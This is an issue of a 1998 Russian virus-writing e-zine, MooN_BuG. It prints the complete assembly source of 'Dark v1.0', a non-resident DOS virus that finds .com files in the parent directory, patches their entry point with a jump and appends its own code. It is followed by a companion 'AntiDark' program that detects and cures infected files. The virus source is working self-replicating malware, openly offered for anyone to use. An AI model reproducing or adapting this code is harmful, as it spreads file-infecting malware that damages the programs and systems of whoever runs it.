[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998                                           file 00D

                   ┌───────────   ┌──────────   ┌──────────
                   ┌───     ┌─── ┌───     ┌─── ┌───     ┌───
                   ┌───     ┌─── ┌───          ┌───     ┌───
                   ┌───     ┌───  ┌──────────  ┌────────────
                   ┌───     ┌───          ┌─── ┌───     ┌───
                   ┌───     ┌───          ┌─── ┌───     ┌───
                   ┌───     ┌─── ┌───     ┌─── ┌───     ┌───
                   ┌───────────   ┌──────────  ┌───     ┌───


      $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
      $· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·$
      $·  Dark ■ Side ■ Alliance ■ ■ ■ DSA ■ ■ ■ Under ■ The ■ Dark  ·$
      $· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·$
      $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

                               Dark v1.0 virus
                          (c) DarkGrey //[DSA] 1998

=== Cut ===                                                           Dark.asm
; "Dark v1.0" virus
; Noresident, infected *.com (no check for renamed exe)
; (c) DarkGrey //[DSA] 1998
;
; P.S Use this source who needed your ,but
; please don't give this lamer's & "chainik's" :)
;
model tiny
.code
.startup
jumps
xor si,si                ; Установим указатель на нуль , если мы в носителе
jmp @@99                 ; на процедуру заражения
;-------                 ; здесь начинается вирусный код
ic:                      ;
call nsw                 ; выясняем свой ip
nsw:                     ;
pop dx                   ; ip  в dx
sub dx,offset nsw        ; вычитаем смешение относительно nsw
mov si,dx                ;
;--------                ;
push si                  ; сохраняем si
mov di,offset dta        ;
add di,si                ;
mov cx,20h               ;
mov si,80h               ;
cld                      ;
rep movsb                ; сохраняем dta
pop si                   ; востанавливаем si
;--------
@@99:                    ;
;--------
mov ah,3bh
mov dx,offset nd
add dx,si                ;
int 21h                  ; Переход на одну дир. выше.
;--------                ;
mov ah,4eh               ; Ишем *.com
mov dx,offset ff         ;
add dx,si                ;
xor cx,cx                ;
int 21h                  ;
jc free                  ; если ничего не нашли - на выход
call @@87                ; если нашли - заражаем
;--------
@@2:
mov ah,3eh
mov bx,[handw+si]
int 21h
mov ah,4fh               ; повтор поиска
mov dx,offset ff
add dx,si
xor cx,cx
int 21h
cmp ax,12h               ; если больше нет *.com то на выход
je free
call @@87
jmp @@2
;---------
@@87:
mov ah,3dh               ; открываем файл
mov dx,9eh               ; из dta
mov al,2                 ; для записи и чтения
int 21h
mov [handw+si],ax        ; сохраняем хендл открытого файла
;--------
mov ah,42h               ;
mov bx,[handw+si]        ;
xor cx,cx                ;
xor dx,dx                ;
mov al,2                 ;
int 21h                  ; вычисляем размер файла , выставляя указатель
                         ; на конец файла
;--------
mov [rfz+si],ax          ; сохраняем размер
;--------
mov ah,42h               ; переносим указатель на конец файла-4
xor cx,cx
mov bx,[handw+si]
mov dx,[rfz+si]
sub dx,4
xor al,al
int 21h
;--------
mov ah,3fh               ; читаем из файла
mov cx,2
mov dx,offset im
mov bx,[handw+si]
add dx,si
int 21h
;--------
cmp [im+0+si],'D'       ; проверка , не заражен ли уже файл
je @@2
cmp [im+1+si],'G'       ; 2 ---///---///---
je @@2                  ; если уже заражены то на выход
;--------
mov ah,42h              ; переносим указатель на начало файла
mov bx,[handw+si]
xor cx,cx
xor dx,dx
xor al,al
int 21h
;--------
mov ah,3fh              ; читаем первые 3 байта
mov dx,offset oldb
add dx,si
mov bx,[handw+si]
mov cx,3
int 21h
;--------
mov ah,42h              ; снова на начало файла
mov bx,[handw+si]
xor cx,cx
xor dx,dx
xor al,al
int 21h
;--------
mov ah,40h              ; пишем jmp на свой код
mov bx,[handw+si]
mov cx,3
mov dx,[rfz+si]
sub dx,3
mov [buf+1+si],dx
mov dx,offset buf
add dx,si
int 21h
;--------
mov ah,42h             ; переносим указатель на конец файла
mov bx,[handw+si]
xor cx,cx
xor dx,dx
mov al,2
int 21h
;--------
mov ah,40h            ; пишем вирусный код
mov dx,offset ic
add dx,si
mov bx,[handw+si]
mov cx,[uncbt+si]
int 21h
;--------
mov ah,3eh           ; закрываем файл
mov bx,[handw+si]
int 21h
ret                  ; возврат
;--------
fuck:
int 20h              ; если что то не так вырубаемся
;--------
free:
cmp word ptr cs:[0100h],0f633h    ; проверка , первая комада
                                  ; в файле xor si,si ?
je fuck                           ; если так то мы в носителе :)))
;--------
mov ax,si                         ; востанавливаем dta
mov si,offset dta
add si,ax
mov cx,20h
mov di,80h
cld
rep movsb
mov si,ax
;--------
mov cx,3                          ; востанавливаем первые 3 байта
xor bp,bp
mov di,0100h
@@56:
mov al,[oldb+bp+si]
inc bp
stosb
loop @@56
;--------
mov di,0100h                      ; отдаем управление файлу
jmp di
ret
;-----
ff    db '*.com',0                ; маска для поиска
oldb  db 3 dup (?)                ; старые 3 байта
rfz   dw 0                        ; размер файла
buf   dw 0E9h                     ; опкод - jmp XXXX
      dw 0000
handw dw 1                        ; для хендла
im    db 2 dup (?)                ; буффер для чтения
dta     db 20h dup (?)            ; буффер для dta
db 'D','G'                        ; небольшой копирайт :)
nd db '..',0                      ; переход на вышс. директорию
uncbt  dw $-ic+2                  ; размер вирусного кода.
end
=== Cut ===

=== Cut ===                                                       AntiDark.asm
model tiny
.code
.startup
jumps
;--------
mov ah,09h
mov dx,offset msg
int 21h
;--------
mov ah,4eh
mov dx,offset mk
xor cx,cx
int 21h
cmp ax,12h
je eof
call show
call check
cmp ax,0ffffh
je @@21
jmp @@90
;--------
show:
mov ah,09h
mov dx,offset nf
int 21h
;------
mov ah,40h
mov dx,9eh
mov cx,13
mov bx,1
int 21h
;------
call shnul
ret
;------ check cure ?
@@21:
mov ah,09h
mov dx,offset yei
int 21h
mov ah,00h
int 16h
push ax
call shnul
call shnul
pop ax
cmp al,'y'
je cure
cmp al,'Y'
je cure
;--------
@@90:
mov ah,3eh
mov bx,[hw]
int 21h
jc errs
mov ah,4fh
mov dx,offset mk
int 21h
cmp ax,12h
je eof
;------
call show
call check
cmp ax,0ffffh
je @@21
jmp @@90
;------
check:
mov ah,3dh
mov dx,9eh
mov al,2
int 21h
mov [hw],ax
jc errs
;--------
mov ah,42h
mov bx,[hw]
xor cx,cx
xor dx,dx
mov al,2
int 21h
jc errs
;--------
mov [rfz],ax
;--------
mov ah,42h
xor cx,cx
mov bx,[hw]
mov dx,[rfz]
sub dx,4
xor al,al
int 21h
jc errs
;--------
mov ah,3fh
mov cx,2
mov dx,offset im
mov bx,[hw]
int 21h
jc errs
;--------
cmp [im+0],'D'
jne @@98
cmp [im+1],'G'
jne @@98
;-------
mov ax,0ffffh
ret
@@98:
call shnul
mov ah,09h
mov dx,offset nof
int 21h
call shnul
ret
;--------
cure:
mov ah,42h
mov bx,[hw]
xor cx,cx
mov dx,[rfz]
sub dx,49
mov al,0
int 21h
jc errs
;-------
mov ah,3fh
mov cx,3
mov bx,[hw]
mov dx,offset buf
int 21h
jc errs
;-------
mov ah,42h
xor cx,cx
xor dx,dx
xor al,al
mov bx,[hw]
int 21h
jc errs
;------
mov ah,40h
mov bx,[hw]
mov cx,3
mov dx,offset buf
int 21h
jc errs
;-----
mov ah,09h
mov dx,offset cr
int 21h
;-------
call shnul
;-------
jmp @@90
;--------
eof:
mov ah,9
mov dx,offset eom
int 21h
int 20h
;--------
errs:
mov ah,9
mov dx,offset erm
int 21h
int 20h
;--------
shnul:
mov ah,09h
mov dx,offset nul
int 21h
ret
;--------
mk db '*.com',0
msg db 'Anti "Dark v1.0" virus (c) DarkGrey',13,10,13,10,'$'
eom db 'End file''s',13,10,'$'
erm db 'I/O Error!','$'
nf  db 'Found file : ','$'
nof db 'Not infected',13,10,'$'
yei db 'This file infected "Dark v1.0" virus , cure this ? [y/n]','$'
cr  db 'Cured!',13,10,'$'
hw dw 0
rfz dw 0
nul db 13,10,'$'
im db 0
buf db 3 dup (?)
end
=== Cut ===